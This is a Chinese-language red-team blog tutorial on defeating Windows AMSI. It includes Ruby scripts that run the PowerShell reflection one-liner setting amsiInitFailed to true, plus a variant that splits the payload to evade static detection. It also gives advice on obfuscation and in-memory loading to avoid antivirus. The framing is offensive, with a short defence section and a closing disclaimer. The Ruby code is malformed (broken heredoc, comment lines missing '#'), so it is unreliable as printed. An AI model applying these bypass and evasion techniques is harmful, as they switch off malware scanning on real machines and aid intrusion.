一、反侦察:AMSI的秘密
在现代攻击者与防御者之间的斗争中,Windows的反恶意软件扫描接口(AMSI)作为重要的安全防线,为防御者提供了一种识别恶意代码的机制。然而,作为红队专家,我会从攻击者的角度来分析AMSI,寻找绕过的方法。AMSI的设计初衷是检测恶意软件,特别是在PowerShell脚本中,但其实现方式并不完美。

AMSI是如何工作的?
AMSI通过拦截脚本执行过程,并将其内容传递给注册的反病毒软件进行扫描。这个过程无论是在PowerShell中执行的脚本,还是在VBA宏中运行的代码,AMSI都会尝试检测可疑活动。它在执行过程中自动调用"AMSI Scan Buffer",将脚本代码片段提供给防病毒引擎进行分析。
攻击者的视角
如果我是攻击者,我会从以下几个方面来攻破AMSI:
- 分析AMSI接口的调用方式: 确定可能的拦截点。
- 识别AMSI的依赖组件: 找出可能的弱点。
- 查找已知绕过方法: 研究已有的攻击思路并加以改进。
这种分析能让我更清楚地了解AMSI的防御机制,并从中寻找突破口。
二、构造奇袭:环境搭建
在进行任何攻击前,搭建一个真实的实验环境是至关重要的,这能给我们提供一个绝佳的测试场所。以下是搭建环境的步骤,以便于我们进行AMSI绕过的实验。
所需工具及软件
- Windows 10 虚拟机:启用PowerShell并确保其版本支持AMSI。
- 开发工具:Ruby,用于编写攻击脚本。
- 网络监控工具:Wireshark,便于观察流量。
环境安装

- 安装Windows 10 VM:
- 使用VirtualBox或VMware Workstation来运行Windows 10。
- 确保Windows Defender是开启的状态,以验证AMSI的触发。
- Ruby环境准备:
- 下载Ruby并进行安装。
- 验证安装成功,可以通过
ruby -v来确认。

- Wireshark安装:
- 在系统中安装Wireshark,用于捕获并分析网络流量。
- 通过观察流量,确保AMSI在触发时的数据交换。
实验环境验证
确保一切安装正常后,我们可以开始构建攻击脚本,并在虚拟机中逐步测试AMSI绕过的效果。
三、Payload构造的艺术
在构建攻击载荷时,我们需要绕过AMSI的检测,同时让攻击有效果。通过深入的代码分析,我们可以找到绕过AMSI的一些技术手段。
POC代码实现
<pre><code class="language-ruby"># 这是一个简单的Ruby脚本,旨在显示如何在PowerShell中绕过AMSI
def bypass_amsi payload = <<~SHELL
使用PowerShell进行基础命令执行
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) SHELL
执行PowerShell命令
system("powershell.exe -Command \"#{payload}\"") end
bypass_amsi</code></pre>
代码效果
代码分析: 上述Ruby代码通过调用PowerShell,利用反射修改AMSI的状态,使其检测失败。我们的目标是使amsiInitFailed标志变为true,从而绕过AMSI检测。
技术原理
- 反射机制: 利用.NET反射来访问和修改非公共成员。
- 静态字段修改:
amsiInitFailed是AMSI的内部状态字段,修改这个字段可以有效地绕过AMSI检测。
四、隐匿行踪:绕过与免杀技巧
作为攻击者,我们不仅要绕过AMSI,还要确保攻击载荷不会被杀毒软件识别为恶意。
有效规避技术
- 代码混淆: 通过多层代码混淆,使得代码难以被静态分析工具检测。
- 内存加载: 将恶意代码加载到内存中,避免在磁盘上留下痕迹。
实践技巧
- 动态生成脚本: 使用Ruby脚本动态生成PowerShell命令,降低静态分析成功率。
- 分割载荷: 将载荷分割为多个片段,通过多个命令执行。
实战演示
<pre><code class="language-ruby"># 动态生成和执行PowerShell命令的Ruby脚本
def dynamic_payload payload_parts = [ '[Ref].Assembly.GetType(\'System.Management.Automation.AmsiUtils\')', '.GetField(\'amsiInitFailed\',\'NonPublic,Static\').SetValue($null,$true)' ]
拼接命令并执行
final_payload = payload_parts.join system("powershell.exe -Command \"#{final_payload}\"") end
dynamic_payload</code></pre>
案例思考
通过将攻击载荷拆解成多个部分并动态执行,能够有效绕过AMSI的检测,同时避免攻击被检测和拦截。
五、捕获风暴:检测与防御
作为红队专家,虽然我们的目标是攻击,但理解防御者的策略同样重要。这能帮助我们迭代攻击策略,并提高对抗成功率。
防御者的策略
- 实时监控: 使用EDR解决方案进行实时行为监控。
- 规则更新: 不断更新AMSI规则库,以捕获新的攻击手法。
对抗建议
- 流量分析: 使用Wireshark捕获并分析可疑流量。
- 脚本审查: 定期审查PowerShell脚本和日志,识别异常活动。
经验总结
在攻击过程中,我们发现AMSI虽然强大,但并不是无懈可击。通过合理的策略和技术手段,我们可以在检测与防御系统的漏洞中找到突破口。
六、暗影漫步:个人经验分享
在多年的红队工作中,绕过AMSI是一项常见任务。通过许多次的实战,我总结了一些经验,这些经验不仅仅是技术上的,还有战略上的。
技术上的细节
- 多层次攻击链: 始终构建多层次的攻击链,以确保攻击能够在多种环境下执行。
- 不断学习: 安全领域瞬息万变,保持对新技术的敏锐嗅觉。
战略上的思考
- 攻守兼备: 理解防御者的策略可以帮助我们构建更强大的攻击方案。
- 合作创新: 与其他红队成员合作,分享经验以迭代攻击手段。
最后思考
红队的工作不仅仅是攻破系统,更是推动整个安全行业的进步。在不断变化的安全环境中,我们需要不断创新和适应,才能保持领先。希望这篇文章能够为你提供一些启发和实用技巧,助你在红队工作中取得更大成功。
---
声明: 本文所述技术仅用于授权安全测试和研究,请勿用于非法用途。感谢你的阅读与支持!